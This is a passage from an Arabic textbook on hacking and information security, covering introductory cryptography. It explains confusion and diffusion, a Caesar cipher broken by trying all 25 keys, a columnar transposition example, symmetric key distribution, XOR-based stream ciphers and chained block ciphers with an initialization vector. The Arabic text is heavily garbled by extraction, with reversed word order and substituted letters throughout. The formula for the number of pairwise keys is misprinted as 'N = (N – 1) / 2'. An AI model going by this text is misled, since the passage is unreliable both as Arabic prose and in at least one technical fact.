،‫أمامي‬ ‫عليها‬ .‫ها‬‫ن‬‫أماك‬ ‫العملية؟‬ ‫ذذه‬ ‫لجراء‬ ‫من‬ ‫الغرض‬ ‫وما‬ ‫ال‬ ‫أو‬ ‫املقاييس‬ ‫أحد‬ ‫لهنا‬ (Characteristics) ‫ال‬ ‫قوة‬ ‫عن‬ ‫ُعرب‬‫ت‬ ‫التي‬ Algorithm .! :‫عليها‬ ‫ق‬‫ُطل‬‫ن‬ “Confusion and Diffusion” ‫ال‬ ‫ُحقق‬‫ن‬ Confusion ‫ذذا‬ ‫بأن‬ ‫ال‬ ‫بني‬ ‫القة‬َ‫ع‬‫ال‬ ‫تكون‬ plaintext ‫ال‬ ‫و‬ key ،!‫التعقيد‬ ‫شديدة‬ ‫قام‬ ‫لو‬ ‫أنه‬ ‫لنضمن‬ ‫وذذا‬ ‫ال‬ ‫بمعرقة‬ ‫أحدذم‬ ciphertext ‫وال‬ plaintext ‫عىل‬ ‫متت‬ ‫التي‬ ‫بادالت‬ُ‫مل‬‫ا‬ ‫ختمني‬ ‫عليه‬ ‫الصعب‬ ‫من‬ ‫قيكون‬ ً‫ا‬‫مع‬ " ‫احلرف‬ " ‫ال‬ ‫أو‬ character ‫ال‬ ‫يف‬ ‫املوجود‬ plaintext ‫ذلك‬ ‫لينتج‬ " ‫احلرف‬ " ‫ا‬ ‫ال‬ ‫يف‬ ‫له‬ ‫ملقابل‬ ciphertext . ‫ال‬ ‫تطبيق‬‫ب‬ ‫قق‬َ‫تح‬َ‫ي‬ ‫وذذا‬ Substitution .‫مراحل‬ ‫عدة‬ ‫عىل‬ :‫له‬ ‫آطر‬ ‫تعريف‬ ‫ذذا‬ Confusion refers to methods used to hide relationships between the plaintext, the ciphertext, and the key. This means that the output bits must involve some complex transformation of the key and plaintext. ‫ال‬ ‫أما‬ Diffusion ‫يتحقق‬ ‫بأن‬ ‫ال‬ ‫بني‬ ‫العالقة‬ ‫تكون‬ plaintext ‫ال‬ ‫و‬ ciphertext ‫مستطا‬ ‫قدر‬ ‫بأكرب‬ ‫معقدة‬ ‫ع‬
  • 298.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [298] (As complex as possible) ‫ال‬ ‫ختمني‬ ‫حماوالت‬ ‫لحباط‬ ‫ألجل‬ ‫وذذا‬ Key ‫يف‬ ‫ستخدم‬ُ‫مل‬‫ا‬ ‫التقاط‬ ‫حالة‬ ‫لل‬ ‫أحدذم‬ ciphertext . ‫ويت‬ ‫ال‬ ‫بتطبيق‬ ‫ذذا‬ ‫حقق‬ Transposition .ً‫ا‬‫أيض‬ ‫مراحل‬ ‫عدة‬ ‫عىل‬ ‫ال‬ ‫أن‬ ‫يعني‬ ‫ذذا‬ Confusion ‫بال‬ ‫َى‬‫ن‬‫ع‬ُ‫ي‬ Substitution ‫وال‬ ، Diffusion ‫بال‬ ‫َى‬‫ن‬‫ع‬ُ‫ي‬ Transposition . ‫ال‬ ‫تستوعب‬ ‫مل‬ ‫لذا‬ Confusion ‫ال‬ ‫و‬ Diffusion ‫قستفهمهم‬ ‫واضح‬ ‫بشكل‬ ً‫ا‬‫جيد‬ ‫عقب‬ :‫األمثلة‬ ‫ذذه‬ Substitution Example ‫َع‬‫ن‬ َ ‫س‬ ‫السيد‬ ‫تاب‬‫ك‬ ‫ن‬‫م‬ ‫ثال‬‫م‬ ‫ض‬‫ر‬ " ‫ستالينج‬ ‫ويليام‬ " ‫لل‬ Caesar Cipher ‫ال‬ ‫عملية‬ ‫تتم‬ ‫كيف‬ ‫به‬ ‫لنوضح‬ Substitution ‫لسمه‬ ‫من‬ ‫يبدو‬ ‫كام‬.. " Caesar Cipher " ‫عهد‬ ‫يف‬ ‫ستخدم‬ُ‫ي‬ ‫كان‬ ‫أنه‬ " ‫قيرص‬ ‫يوليوس‬ " ‫ل‬ ‫مثال‬ ‫ماييل‬ plaintext ‫وال‬ ، ciphertext :‫هلا‬ ‫ناظر‬ُ‫مل‬‫ا‬ plain: meet me after the toga party cipher: PHHW PH DIWHU WKH WRJD SDUWB ‫ال‬ ‫ختمني‬ ‫علينا‬ ً‫ال‬‫سه‬ ‫يبدو‬ Secret Key ‫كذلك؟‬ ‫أليس‬ .. ‫ال‬ ‫قائدة‬ ‫أدركت‬ ‫ذل‬ Confusion & Diffusion ‫اآلن؟‬ ‫ال‬ ‫أن‬ ‫يبدو‬ ..‫هم‬ُ‫مل‬‫ا‬ Key ‫ذو‬ “character in plain + 3” ‫ال‬ ‫إلنتاج‬ cipher ‫وصول‬ ‫عند‬ ‫الشفرة‬ ‫لفك‬ ‫وبالعكس‬ ، ‫الرسال‬ ‫ة‬ “character in cipher – 3” . ‫بال‬ ‫أمسكنا‬ ‫أننا‬ ‫نفرض‬‫ل‬ cipher ‫ال‬ ‫ختمني‬ ‫مكننا‬ُ‫ي‬ ‫كيف‬ ..‫اآلطر‬ ‫الشخص‬ ‫لىل‬ ‫السعيدة‬ ‫رحلته‬ ‫أثناء‬ ‫ذذا‬ Key ‫ستخدم؟‬ُ‫مل‬‫ا‬ ‫ال‬ ‫وختمني‬ ‫املقارنة‬ ‫لجراء‬ ‫علينا‬ ‫ل‬ُ‫سه‬َ‫ي‬‫ل‬ ،‫بالشكل‬ ‫موضح‬ ‫ذو‬ ‫كام‬ ‫مجيعها‬ ‫األحرف‬ ‫برتقيم‬ ‫سنقوم‬ Substitutions ‫احلادث‬ ‫ة‬ .
  • 299.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [299] ‫ال‬ ‫ذذا‬ ‫واآلن‬ Key ‫(احلرف‬ ‫يكون‬ ‫أن‬ ‫لما‬ + 1 ‫(احلرف‬ ‫أو‬ ،) + 2 ( ‫أو‬ ،) ‫احلرف‬ + 3 ‫لىل‬ ‫ل‬‫َص‬‫ن‬ ‫أن‬ ‫لىل‬ ،) ‫(احلرف‬ + 25 .) ‫أمام‬ ‫قنحن‬ ً‫ا‬‫لذ‬ “25 of potentials Keys” ، ‫لدينا‬ ‫أننا‬ ‫أي‬ 25 ‫ال‬ ‫ذذا‬ ‫عىل‬ ‫ُجرِبم‬‫ن‬‫ل‬ ‫احتامل‬ cipher ،‫املخرجات‬ ‫ُشاذد‬‫ن‬‫و‬ ‫قد‬ ‫نكون‬ ‫حينها‬ ،!‫مفهومة‬ ‫عبارة‬ ‫ُصادف‬‫ن‬ ‫أن‬ ‫لىل‬ ‫عىل‬ ‫عنا‬َ‫ق‬‫و‬ ‫ال‬ Key .‫السليم‬ ‫ال‬ ‫لدينا‬ ‫نا‬ُ‫ذ‬ ‫أننا‬ ‫وبام‬ cipher ‫(احلرف‬ :‫عادلة‬ُ‫مل‬‫ا‬ ‫كس‬َ‫ع‬‫ب‬ ‫قسنقوم‬ ، – 1 ‫(احلرف‬ ،) – 2 ‫(احلرف‬... ،) – 25 .‫وذكذا‬ ،) :‫املعادلة‬ ‫ذذه‬ ‫لنا‬ ‫ها‬ ُ ‫ص‬ِّ‫ُلخ‬‫ت‬ Plaintext = Decryption(key, Cipher) = (Cipher - key) mod 26 ‫ال‬ ‫أن‬ ‫يبدو‬ Algorithm ‫ب‬ ‫أشبه‬ function ‫تأطذ‬ Arguments ‫ال‬ ‫ذي‬ Key ‫وال‬ Cipher ‫ال‬ ‫لنا‬ ‫ُنتج‬‫ت‬‫ل‬ Plaintext . ‫ذيا‬ :‫خرجات‬ُ‫مل‬‫ا‬ ‫ومشاذدة‬ ‫املعادلة‬ ‫ذذه‬ ‫تطبيق‬ ‫ُجرب‬‫ن‬‫ل‬ PHHW PH DIWHU WKH WRJD SDUWB KEY…………………………………………………………………………. 1 oggv og chvgt vjg vqic rctva 2 nffu nf bgufs uif uphb qbsuz 3 meet me after the toga party 4 ldds ld zesdq sgd snfz ozqsx 5 kccr kc ydrcp rfc rmey nyprw 6 jbbq jb xcqbo qeb qldx mxoqv 7 iaap ia wbpan pda pkcw lwnpu …
  • 300.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [300] ‫ُسميه‬‫ن‬ ‫طبقناه‬ ‫الذي‬ ‫ذذا‬ “Brute-Force Attack” :‫اآليت‬ ‫يعني‬ ‫وذو‬ Trying every possible key until an intelligible translation of the ciphertext into plaintext is obtained. ‫م‬‫ه‬َ‫ق‬ ‫لقد‬ ‫نا‬ ‫ال‬ Substitution ..‫اآلن‬ ‫ال‬ ‫لىل‬ ‫ل‬‫َق‬‫ت‬‫نن‬‫ل‬ ‫ذيا‬ Transposition . Transposition Example ‫ال‬ ‫ذو‬ ‫بسيط‬ ‫تكنيك‬ ‫سنستخدم‬ “rail fence” ‫ال‬ ‫عملية‬ ‫إلجراء‬ Transposition ‫ال‬ ‫عىل‬ Plaintext .‫لرساله‬ ‫راد‬ُ‫مل‬‫ا‬ ‫ع‬ ‫عبارة‬ ‫برسالة‬ ‫مثال‬ ‫نأطذ‬ :‫ن‬ THIS IS REALY GREAT BOOK ‫لتحقيق‬ Security ‫ذيئة‬ ‫عىل‬ ‫ها‬‫ت‬َ‫ب‬‫تا‬‫ك‬‫ب‬ ‫سنقوم‬ ‫أعىل‬ " Block " . ‫ذيئة‬ ‫عىل‬ ‫فوف‬ ُ ‫ص‬ ‫يف‬ ‫الرسالة‬ ‫ُب‬‫ت‬‫َك‬‫ن‬ َ ‫س‬ block ‫ال‬ ‫ن‬ِّ‫ُكو‬‫ن‬ ‫ولكي‬ ciphertext ،!‫بالطول‬ ‫ولكن‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫بكتابتها‬ ‫سنقوم‬ ‫ال‬ ‫لضاقة‬ ‫مع‬ Key ‫ب‬ ‫َبدأ‬‫ن‬ َ ‫س‬ ‫األعمدة‬ ّ‫أي‬ ‫د‬ِّ‫د‬َ‫ح‬ُ‫ي‬ َ ‫س‬ ‫والذي‬ ً‫ال‬‫أو‬ ‫ه‬ ..‫وذكذا‬ ‫يليه‬ ‫الذي‬ ‫م‬ُ‫ث‬ Key: 3 4 1 2 5……….. Plain: T H I S I…………….. S R E A L Y G R E A T B O O K ‫ال‬ ‫باستخدام‬ ‫سنقوم‬ ‫واآلن‬ Key ‫ال‬ ‫لتكوين‬ cipher ‫بال‬ ‫نبدأ‬ ‫بحيث‬ ، Colum ‫ثم‬ ،‫الرتتيب‬ ‫يف‬ ‫الثالث‬ ‫وذو‬ ‫واحد‬ ‫رقم‬ ‫ال‬ Colum ‫رقم‬ 2 .‫وذكذا‬ ..‫الرتتيب‬ ‫يف‬ ‫الرابع‬ ‫وذو‬ ‫ال‬ ‫قيكون‬ Cipher :‫الشكل‬ ‫ِبذا‬ ‫النهاية‬ ‫يف‬ IEROSAEOTSYTHRGBILAK
  • 301.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [301] Symmetric Cryptography ‫البداية‬ ‫يف‬ ‫سنقوم‬ ‫بتو‬ ‫ض‬ ‫ي‬ ‫ح‬ ‫ال‬ ‫مفهوم‬ “Cryptosystem” ُ‫ه‬‫لن‬ ُ‫ي‬ َ‫ك‬ َ ‫شرت‬ُ‫مل‬‫ا‬ ‫املعادالت‬ ‫جمموعة‬ ‫عن‬ ِّ ‫رب‬َ‫ع‬ ‫ة‬ ‫ال‬ ‫ذذه‬ ‫تقديم‬ ‫يف‬ Security Service ‫وقك‬ ‫التشفري‬ ‫عملية‬ ‫وذي‬ ، .!‫التشفري‬ ‫ال‬ ‫يتكون‬ Cryptosystem ‫ثالثة‬ ‫من‬ ‫ذذا‬ Algorithms :  ‫ال‬ ‫يف‬ ‫األوىل‬ ‫م‬َ‫ُستخد‬‫ت‬ Key generation .  ‫ال‬ ‫لجراء‬ ‫أجل‬ ‫من‬ ‫والثانية‬ Encryption .  ‫والثالث‬ ‫ة‬ ‫أل‬ ‫ال‬ ‫جل‬ Decryption . ‫الرموز‬ ‫ِبذه‬ ‫املراحل‬ ‫ذذه‬ ‫عن‬ ‫التعبري‬ ‫نستطيع‬ {X, K, E, Y, D} . ‫ال‬ ‫ز‬ُ‫م‬‫ر‬َ‫ي‬ ‫حيث‬ X ‫ال‬ ‫لىل‬ plaintext ‫وال‬ ، K ‫ال‬ ‫لىل‬ Key ‫وال‬ ، E ‫ا‬ ‫لىل‬ ‫ل‬ Encryption ‫وال‬ ، Y ‫ال‬ ‫لىل‬ Ciphertext ، ‫ال‬ ً‫ا‬‫وأطري‬ D ‫ال‬ ‫لىل‬ Decryption . ‫الشكل‬ ‫التالي‬ ‫بالصفحة‬ ‫ة‬ :‫التشفري‬ ‫ك‬َ‫ق‬‫و‬ ‫التشفري‬ ‫عملية‬ ‫يف‬ ‫وظيفتهم‬ ‫لك‬ ‫يوضح‬
  • 302.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [302] ‫ال‬ ‫بتعريف‬ ‫ونقوم‬ “Symmetric Ciphers” ‫ال‬ ‫بأهنا‬ Cryptosystems ‫ال‬ ‫َفس‬‫ن‬ ‫م‬‫َخد‬‫ت‬‫َس‬‫ت‬ ‫التي‬ Key ‫التشفري‬ ‫لية‬َ‫م‬َ‫ع‬ ‫يف‬ ‫التش‬ ‫وقك‬ .‫فري‬ ‫قلو‬ ‫ا‬ ‫استخدام‬ ‫م‬‫ت‬َ‫ي‬ َ ‫س‬َ‫ق‬ ‫ينهم‬َ‫ب‬ ‫قيام‬ ‫آمن‬ ‫اتصال‬ ‫لجراء‬ ‫د‬َ‫َو‬‫ت‬ ‫ة‬َ‫موع‬ َ ‫جم‬ ‫أن‬ ‫ضنا‬ َ‫ر‬َ‫ق‬ Key ،‫طرقني‬ ‫كل‬ ‫بني‬ ‫وحيد‬ ‫عترب‬ُ‫ي‬ “Shared Secret Key” ‫ال‬ ‫زاد‬ ‫ُلام‬‫ك‬‫و‬ .‫بينهم‬ ‫قيام‬ Key Space .‫ه‬‫كُس‬ ‫صعوبة‬ ‫وازدادت‬ ُ‫ه‬‫قوت‬ ‫ازدادت‬ ‫ُلام‬‫ك‬
  • 303.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [303] ‫ال‬ ‫ذذا‬ ‫توزيع‬ ‫سيتم‬ ‫كيف‬ ‫ولكن‬ Secret Key ‫بني‬ ‫كل‬ ‫لىل‬ ‫وِسي‬ ‫ن‬‫آم‬ ‫بشكل‬ ‫وصوله‬ ‫نضمن‬ ‫بحيث‬ ‫َة‬‫ك‬ َ ‫شرت‬ُ‫مل‬‫ا‬ ‫األطراف‬ .‫منهم؟‬ ‫ل‬ُ‫د‬‫َبا‬‫ت‬‫ال‬ ‫ذذا‬ ‫ث‬ُ‫د‬ َ ‫حي‬ ‫أن‬ ‫أبسطها‬ ،‫األمر‬ ‫ذذا‬ ‫إلجراء‬ ‫دائل‬َ‫ب‬ ‫دة‬‫ع‬ ‫نا‬ُ‫ذ‬ ‫توجد‬ offline ..!‫بينهم‬ ‫قيام‬ ‫بال‬ ‫العملية‬ ‫ذذه‬ ‫عىل‬ ‫ق‬‫ُطل‬‫ن‬ " Key Distribution Management " ..‫الباب‬ ‫ذذا‬ ‫هناية‬ ‫يف‬ ‫عنها‬ ‫سنتكلم‬ ، ‫يتميز‬ ‫بال‬ ‫قورن‬ ‫ما‬ ‫لذا‬ ‫العالية‬ ‫بالُسعة‬ ‫التشفري‬ ‫من‬ ‫النوع‬ ‫ذذا‬ Asymmetric Encryption ‫قدم‬ُ‫ي‬ ‫ال‬ ُ‫ه‬‫أن‬ ‫عيوبه‬ ‫من‬ ‫لكن‬ ، ‫ال‬ ‫طدمة‬ ‫لنا‬ Nonrepudiation . ‫ال‬ ‫ذذا‬ ‫ما‬ Nonrepudiation .. ‫؟‬ ‫لليه‬ ‫وصلت‬ ‫التي‬ ‫الرسالة‬ ‫ذذه‬ ‫أن‬ ‫ل‬‫َقب‬‫ت‬‫س‬ُ‫للم‬ ‫ِّد‬‫ك‬‫ُؤ‬‫ت‬ ‫طاصية‬ ‫لهنا‬ ، ‫قادم‬ ‫ة‬ ‫من‬ ‫ب‬ ‫بإرسلها‬ ‫قام‬ ‫الذي‬ ‫الشخص‬ ‫يتم‬ ‫ومل‬ ،‫الفعل‬ ..‫قليل‬ ‫بعد‬ ‫لليها‬ ‫سنأيت‬ .!‫ل‬‫رس‬ُ‫مل‬‫ا‬ ‫شخصية‬ ً‫ال‬‫نتح‬ُ‫م‬ ‫آطر‬ ‫شخص‬ ‫طريق‬ ‫عن‬ ‫لرساهلا‬ ‫ال‬ ‫ذذا‬ ‫أن‬ ‫بام‬ ‫واآلن‬ Key ‫ال‬ ‫ذذا‬ ‫ع‬َ‫ق‬َ‫ي‬ ‫بام‬ ُ‫ر‬َ‫ق‬ ،‫والفك‬ ‫للتشفري‬ ‫وحيد‬ key ُ‫ه‬‫وكأن‬ ‫معي‬ ‫ل‬ ُ ‫التواص‬ َ‫ن‬‫م‬ ‫تمكن‬َ‫ي‬َ‫ق‬ ‫م‬‫ذ‬‫د‬ َ‫ح‬َ‫أ‬ ‫بيد‬ ‫ال‬ ‫حالة‬ ‫يف‬ ‫بينام‬ ،!‫رجو‬َ‫مل‬‫ا‬ ‫الشخص‬ Asymmetric Encryption ‫م‬‫َخد‬‫ت‬‫َس‬‫ن‬ key ‫قك‬ ‫أجل‬ ‫من‬ ‫آطر‬ ‫و‬ ‫التشفري‬ ‫أجل‬ ‫من‬ ‫ال‬ ‫أحد‬ َ‫ع‬َ‫ق‬َ‫و‬ ‫قلو‬ .‫التشفري‬ keys ‫معنا‬ ‫التالعب‬ ‫من‬ ‫يتمكن‬ ‫لن‬ ‫أحدذم‬ ‫أيدي‬ ‫قي‬  . ‫ال‬ ‫األعداد‬ ‫عىل‬ ‫تطبيقه‬ ‫حماولة‬ ‫عند‬ ‫دي‬ ُ ‫جم‬ ‫غري‬ ‫أنه‬ ‫عيوبه‬ ‫من‬ ً‫ا‬‫أيض‬ ،‫اإلتصال‬ ‫يف‬ ‫شرتكني‬ُ‫مل‬‫ا‬ ‫من‬ ‫كبرية‬ ‫عملية‬ ‫لكل‬ ‫أن‬ ‫حيث‬ ‫ستحتاج‬ ‫اثنني‬ ‫بني‬ ‫اتصال‬ Key ..‫ِبم‬ ‫طاص‬ ‫يف‬ ‫الدطول‬ ‫يريدون‬ ‫أشخاص‬ ‫أربعة‬ ‫أن‬ ‫لنفرض‬ :ً‫ال‬‫قمث‬ group ‫ال‬ .‫بينهم‬ ‫قيام‬ ‫ليتواصلوا‬ user1 ‫سيحتاج‬ key ‫ليتصل‬ ‫بال‬ user2 ‫و‬ ، key ‫ال‬ ‫مع‬ ‫ليتواصل‬ ‫ُمتلف‬ user3 ‫ال‬ ‫مع‬ ‫ليتواصل‬ ‫وآطر‬ ، user4 . ‫ثم‬ user2 ‫سيحتاج‬ key ‫ُمتلف‬ ‫ال‬ ‫مع‬ ‫ليتواصل‬ ‫عنهم‬ user3 ‫ال‬ ‫مع‬ ‫ليتواصل‬ ‫وآطر‬ ، user4 .
  • 304.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [304] ‫بتوظيف‬ ‫احلفلة‬ ‫وتنتهي‬ 6 keys ‫هلؤالء‬ ‫الشباب‬  . ‫تقوم‬ ‫بمعادلة‬ ‫ذذا‬ ‫تلخيص‬ ‫مكننا‬ُ‫ي‬ ‫ال‬ ‫بحساب‬ keys ‫ال‬ ‫عدد‬ ‫عىل‬ ً‫ء‬‫بنا‬ ‫الالزمة‬ parties ‫امل‬ ‫شرتكني‬ .‫املصلحة‬ ‫يف‬ N = (N – 1) / 2 ‫عىل‬ ً‫ال‬‫مث‬ ‫املعادلة‬ ‫ذذه‬ ‫وبتطبيق‬ Web Application ‫به‬ ‫باالتصال‬ ‫يقوم‬ ‫ال‬ ‫من‬ ‫اآلالف‬ users ‫ال‬ ‫من‬ ‫اهلائل‬ ‫بالكم‬ ‫ُفاجأ‬‫ن‬‫س‬ ، keys ‫ُما‬ .!‫لذلك‬ ‫املطلوبة‬ .‫العملية‬ ‫هلذه‬ ‫الئم‬ُ‫م‬ ‫غري‬ ‫جيعله‬ ‫ال‬ ‫شكل‬ ‫باألعىل‬ ‫ال‬ ‫كمية‬ ‫وحساب‬ ‫شرتكني‬ُ‫مل‬‫ا‬ ‫عدد‬ ‫عىل‬ ‫املعادلة‬ ‫تطبيق‬ ‫وضح‬ُ‫ي‬ Keys .‫االتصال‬ ‫إلجراء‬ ‫املطلوبة‬ ‫ال‬ ‫أنواع‬ ‫عن‬ ‫سنتكلم‬ ‫واآلن‬ Ciphers ‫ال‬ ‫يف‬ ‫ستخدمة‬ُ‫مل‬‫ا‬ Symmetric Cryptography . Stream Cipher ‫ال‬ ‫من‬ ‫النوع‬ ‫ذذا‬ ‫كرة‬‫ق‬ ‫د‬‫َم‬‫ت‬‫َع‬‫ت‬ ciphers ‫وجود‬ ‫عىل‬ “Key stream Generator” ‫بإنتاج‬ ‫يقوم‬ Stream ‫ال‬ ‫من‬ Bits ‫أو‬ ‫ال‬ Bytes ‫ُسميها‬‫ن‬ ‫كام‬ ‫أو‬ ‫العشوائية‬ Pseudo-Random Bits ‫اسمها‬ ‫من‬ ً‫ا‬‫واضح‬ ‫يبدو‬ ، “Random” ‫عدم‬ ‫شرتط‬ُ‫ي‬ ‫أنه‬ ‫ال‬ ‫بني‬ ‫رياضية‬ ‫عالقة‬ ‫وجود‬ Bit ‫وال‬ Bit ‫ال‬ ‫يف‬ ‫يليه‬ ‫الذي‬ Stream .
  • 305.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [305] :‫النحو‬ ‫ذذا‬ ‫عىل‬ ‫انتاجها‬ ‫يتم‬ ً‫ا‬‫غالب‬ “One bit or one byte at a time” ‫كل‬ ‫أنه‬ ‫بمعنى‬ plaintext digit ُ‫ه‬‫قابل‬ُ‫ي‬ random bit . ‫ال‬ ‫من‬ ‫السلسله‬ ‫ذذه‬ ‫عىل‬ ‫ق‬‫ُطل‬‫ن‬‫و‬ random bits ‫بال‬ Key Stream ‫ال‬ ‫ستكون‬ ‫أهنا‬ ‫أي‬ ، Key .!‫نا‬ُ‫ذ‬ ‫ال‬ ‫ذذا‬ Key ‫الطرق‬ ‫ال‬‫ك‬ ُ‫ه‬‫سيمتلك‬ .‫اإلتصال‬ ‫يف‬ ‫املشرتكني‬ ‫ني‬ ‫بعمل‬ ‫نقوم‬ ‫ثم‬ XOR ‫ال‬ ‫ذذه‬ ‫بني‬ Bits ‫وال‬ Plaintext digits ‫ال‬ ‫لنتاج‬ ‫ذا‬‫ِب‬ ‫تم‬َ‫ي‬‫ل‬ Ciphertext . ‫ة‬َ‫ه‬‫للج‬ ‫وصوله‬ َ‫ند‬‫وع‬ ‫ال‬ ‫نفس‬ ‫استخدام‬ ً‫ا‬‫أيض‬ ‫م‬‫ت‬َ‫ي‬ ‫طرى‬ُ‫أل‬‫ا‬ Key ‫ال‬ ‫ل‬َ‫م‬َ‫ع‬‫ل‬ Decryption ‫ال‬ ‫عادة‬‫الست‬ ‫ريقة‬َ‫ط‬‫ال‬ ‫َفس‬‫ن‬‫ب‬ plaintext ‫شكل‬ ‫ماييل‬ . ‫ال‬ ‫يوضح‬ process ‫احلاصل‬ ‫ة‬ : :‫العملية‬ ‫نفس‬ ‫يوضح‬ ‫آطر‬ ‫شكل‬ ‫وذذا‬
  • 306.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [306] ‫ال‬ ‫ذذا‬ ‫باستخدام‬ ‫نقوم‬ ‫ملاذا‬ ..‫تتسائل‬ ‫لعلك‬ XOR ‫؟‬.. ‫(ال‬ ‫دطالت‬ُ‫مل‬‫ا‬ ‫شكل‬ ‫يف‬ ‫التغري‬ ‫حيدث‬ ‫لكي‬ ،‫األول‬ ‫السبب‬ plaintext ‫ال‬ ‫ِبذه‬ ‫نأيت‬ ‫ندما‬‫ع‬ ‫عليه‬ ‫ل‬ ُ ‫َحص‬‫ن‬ َ ‫س‬ ُّ ‫َغري‬‫ت‬‫ال‬ ‫وذذا‬ ،) bits ‫ال‬ ‫مع‬ ‫وندجمها‬ plaintext ‫ال‬ ‫لينتج‬ ciphertext ‫ال‬ ‫ذذه‬ ، XOR ‫ُعترب‬‫ت‬ “Linear Function” It detects the ODD and the EVEN counts. The output will be 1 (when input bits are not matching) And the output will be 0 (when input bits are matching). ‫بأهنا‬ ‫تتميز‬ ‫أهنا‬ ،‫الثاين‬ ‫والسبب‬ Reversible Operation . ‫و‬ ‫ا‬‫َوهن‬‫ك‬ ‫من‬ ‫سنستفيد‬ ‫ماذا‬ “Reversible Operation” ‫؟‬.. ‫س‬ ‫ن‬ ‫أ‬ ‫طذ‬ ‫ل‬ ‫مثال‬ ‫نفهم‬ ‫ال‬ ‫عملية‬ ‫قائدة‬ ‫منه‬ XOR ‫ذذه‬ . ‫ال‬ ‫أن‬ ‫لنفرض‬ plaintext digit ‫ال‬ ‫ذو‬ X ‫وال‬ Random Bit ‫ال‬ ‫ذو‬ Y ‫وال‬ (X XOR Y) ‫ال‬ ‫ذو‬ Ciphertext
  • 307.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [307] ‫ال‬ ‫ذذا‬ ciphertext ‫عمل‬ ‫سيتم‬ ‫األطرى‬ ‫للجهة‬ ‫يصل‬ ‫عندما‬ XOR ‫ال‬ ‫مع‬ ‫له‬ Y ‫ال‬ ‫وذو‬ Bit Stream ‫ال‬ ‫نفس‬ ‫لينتج‬ X .‫يظهر‬ ‫كام‬ ‫أطرى‬ ً‫ة‬‫مر‬ X Y X ⊕ Y 0 0 0 0 1 1 1 0 1 1 1 0 Block Cipher ‫ال‬ ‫من‬ ‫النوع‬ ‫ذذا‬ Ciphers ‫ال‬ ‫مع‬ ‫يتعامل‬ message ‫ال‬ ‫أو‬ plaintext ‫ك‬ Block ‫ال‬ ‫ذذا‬ ، Block ‫ال‬ ‫لىل‬ ‫حتويله‬ ‫سيتم‬ ciphertext ‫ذيئة‬ ‫عىل‬ Block ‫ال‬ ‫بنفس‬ ً‫ا‬‫أيض‬ Length . ‫ال‬ ‫بالشكل‬ ‫موضح‬ Length of Block ‫بال‬ ‫لليه‬ ‫املشار‬ ‫وذو‬ “b bits” ‫لل‬ ‫ثابت‬ ‫أنه‬ ‫الحظ‬ plaintext ‫وال‬ ciphertext .
  • 308.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫المعلوما‬‫وأمن‬ ‫ت‬ Understanding Hacking andInformation Security Cryptography [308] ‫ال‬ ‫تتذكر‬ ‫ذل‬ Transposition Cipher ‫قبل؟‬ ‫من‬ ‫رشحناه‬ ‫الذي‬ ‫ال‬ ‫ذذا‬ ‫د‬َ‫ع‬ُ‫ي‬ Transposition Cipher ‫ال‬ ‫أشكال‬ ‫أحد‬ Block Ciphers . ‫ال‬ ‫عملية‬ ‫يوضح‬ ‫السابق‬ ‫الشكل‬ ‫ل‬ ‫تشفري‬ Single Block ‫تقطيع‬ ‫يتم‬ ‫بل‬ ،‫كذلك‬ ‫األمر‬ ‫يكون‬ ‫ال‬ ‫الواقع‬ ‫يف‬ ‫ولكن‬ ،!‫ققط‬ ‫ال‬ plaintext ‫لىل‬ ‫من‬ ‫أكثر‬ Block ‫ُل‬‫ك‬ ، Block ‫حجمه‬ ‫غ‬ُ‫ل‬‫ب‬َ‫ي‬ ‫نهم‬‫م‬ 64 bits ‫أو‬ 128 bits . In the next Fig: the input to the encryption algorithm is the XOR of the current plaintext block and the preceding ciphertext block ‫ال‬ ‫عملية‬ ‫يف‬ ‫غريب‬ ‫يشء‬ ‫طول‬ُ‫د‬ ‫ظ‬‫ُالح‬‫ن‬ XOR ‫ألول‬ plaintext ‫ال‬ ‫وذو‬ (IV) .. ‫ال‬ ‫ذذا‬ ‫قام‬ “Initialization Vector” ‫؟‬.. ‫بار‬‫ع‬ ُ‫ه‬‫لن‬ ‫ة‬ ‫عن‬ Random String ‫ال‬ ‫نفس‬ ‫هلا‬ Length ‫بال‬ ‫اخلاص‬ Plaintext ‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫نقوم‬ ، XOR ‫ال‬ ‫ع‬َ‫م‬ ‫هلا‬ Plaintext ، ‫ووظيف‬ ‫لنتاج‬ َ‫ي‬‫ذ‬ ‫تها‬ Ciphertext ‫ال‬ ‫ذذا‬ ‫نفس‬ ‫تشفري‬ ‫تم‬َ‫ي‬ ‫ره‬َ‫م‬ ‫ُل‬‫ك‬ ‫يف‬ ‫ف‬‫تل‬ ُ ‫ُم‬ “Block of Plaintext” ‫نفس‬ ‫باستخدام‬ ‫ال‬ Key ‫الرسال‬ ‫ختمني‬ ‫ملية‬َ‫ع‬ ‫عل‬َ‫جل‬ ‫وذذا‬ . ‫ة‬ .ً‫ا‬‫تعقيد‬ ‫وأكثر‬ ‫أصعب‬
  • 309.
